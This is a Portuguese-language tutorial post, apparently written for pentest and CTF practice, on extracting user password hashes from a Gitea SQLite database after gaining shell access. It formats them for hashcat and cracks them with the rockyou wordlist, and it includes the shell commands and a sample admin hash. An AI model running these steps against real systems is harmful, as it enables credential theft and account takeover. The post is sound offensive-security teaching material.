Extraindo Usuários do Gitea
Quando ganhamos acesso a um host porém precisamos escalar privilégios e conseguir acesso à autenticação de usuário com permissões mais elevadas pode ser um desafio. Nesse post irei mostrar como fazer a extração e quebra dos usuários presentes no DB da aplicação Gitea, mas que pode não se limitar apenas a este.
Localizando o Gitea DB
A localização do banco de dados do Gitea em caso de ser Sqlite3, é definido no setup inicial ou via variável de ambiente caso conteinerizado.

Este é apenas um cenário caso você tenha acesso a uma shell ou uma falha de RCE no host alvo, caso contrário será necessário identificar a localização do arquivo e download de outra maneira.
find / -name gitea.db 2>/dev/null
# ou
find / -name *.db 2>/dev/null
Extraindo o Hash do Usuários
Abaixo iremos extrair o usuário da tabela user e formatar para que o salt e
o hash fiquem no formato reconhecido pelo Hashcat.
sqlite3 gitea.db "select passwd,salt,name from user" | \
while read data; do
digest=$(echo "$data" | cut -d'|' -f1 | xxd -r -p | base64);
salt=$(echo "$data" | cut -d'|' -f2 | xxd -r -p | base64);
name=$(echo $data | cut -d'|' -f3);
echo "${name}:sha256:50000:${salt}:${digest}";
done | \
tee gitea.hashes
Resultado:
# <user>:<algoritm>:<interaction_number>:<salt>:<digest>
admin:sha256:50000:dgaKi9oBOPF7HkA4p4/dmQ==:sPxfp5JlXb0HURMg3Xwv9UmEQkYtRn+VZAbakCuPHwZRJfACimU+2t4yQVEoWo3wuss=
<user>: Indica o nome ou identificador do usuário.
<algoritm>: Especifica o algoritmo de hash utilizado para transformar a senha
em uma sequência fixa (neste caso, SHA-256).
<50000>: Representa o número de iterações que o algoritmo de hash é aplicado.
Essa repetição torna o processo de cálculo mais lento, ajudando a dificultar
ataques de força bruta.
<salt>: É um valor aleatório adicionado à senha antes de aplicar o hash. O
salt previne o uso de tabelas pré-calculadas (rainbow tables) e garante que
senhas iguais não resultem no mesmo hash.
<digest>: É o resultado final (o hash) da senha combinada com o salt,
processada pelo algoritmo SHA-256 o número especificado de vezes.
Note que o salt e o digest precisam estar em base64 porque para esse hash é
solicitado pelo Hashcat. Podemos ver isso com o argumento --hash-info:
hashcat -m 10900 --hash-info

O número de iterações pode ser diferente dependendo do PASSWORD_HASH_ALGO
utilizado durante o setup ou como variável de ambiente. Abaixo temos as opções
de PASSWORD_HASH_ALGO, note que no caso do pbkdf2, há várias iterações
possíveis (10000, 50000 e 320000).
argon2: argon2$2$65536$8$50
bcrypt: bcrypt$10
pbkdf2: pbkdf2$50000$50
pbkdf2_v1: pbkdf2$10000$50
pbkdf2_v2: pbkdf2$50000$50
pbkdf2_hi: pbkdf2$320000$50
scrypt: scrypt$65536$16$2$50
Isso vai estar disponível no próprio banco de dados:
$ sqlite3 gitea.db "select passwd_hash_algo from user"
pbkdf2$50000$50
Quebra do Hash
Para a quebra dos hashes utilizando o hashcat é bem simples e inclusive pode ser omitido o argumento que indica do algorítmo porque será automaticamente definido.
hashcat gitea.hashes /usr/share/wordlists/rockyou.txt --user
Referências
- https://hashcat.net/wiki/doku.php?id=example_hashes
- https://0xdf.gitlab.io/2024/12/14/htb-compiled.html#crack-gitea-hash
- https://github.com/0xsyr0/Awesome-Cybersecurity-Handbooks/blob/main/handbooks/05_password_attacks.md#cracking-gitea-hashes
- https://medium.com/@khaledkamal456/solving-htb-machine-titanic-easy-3fbf13560594
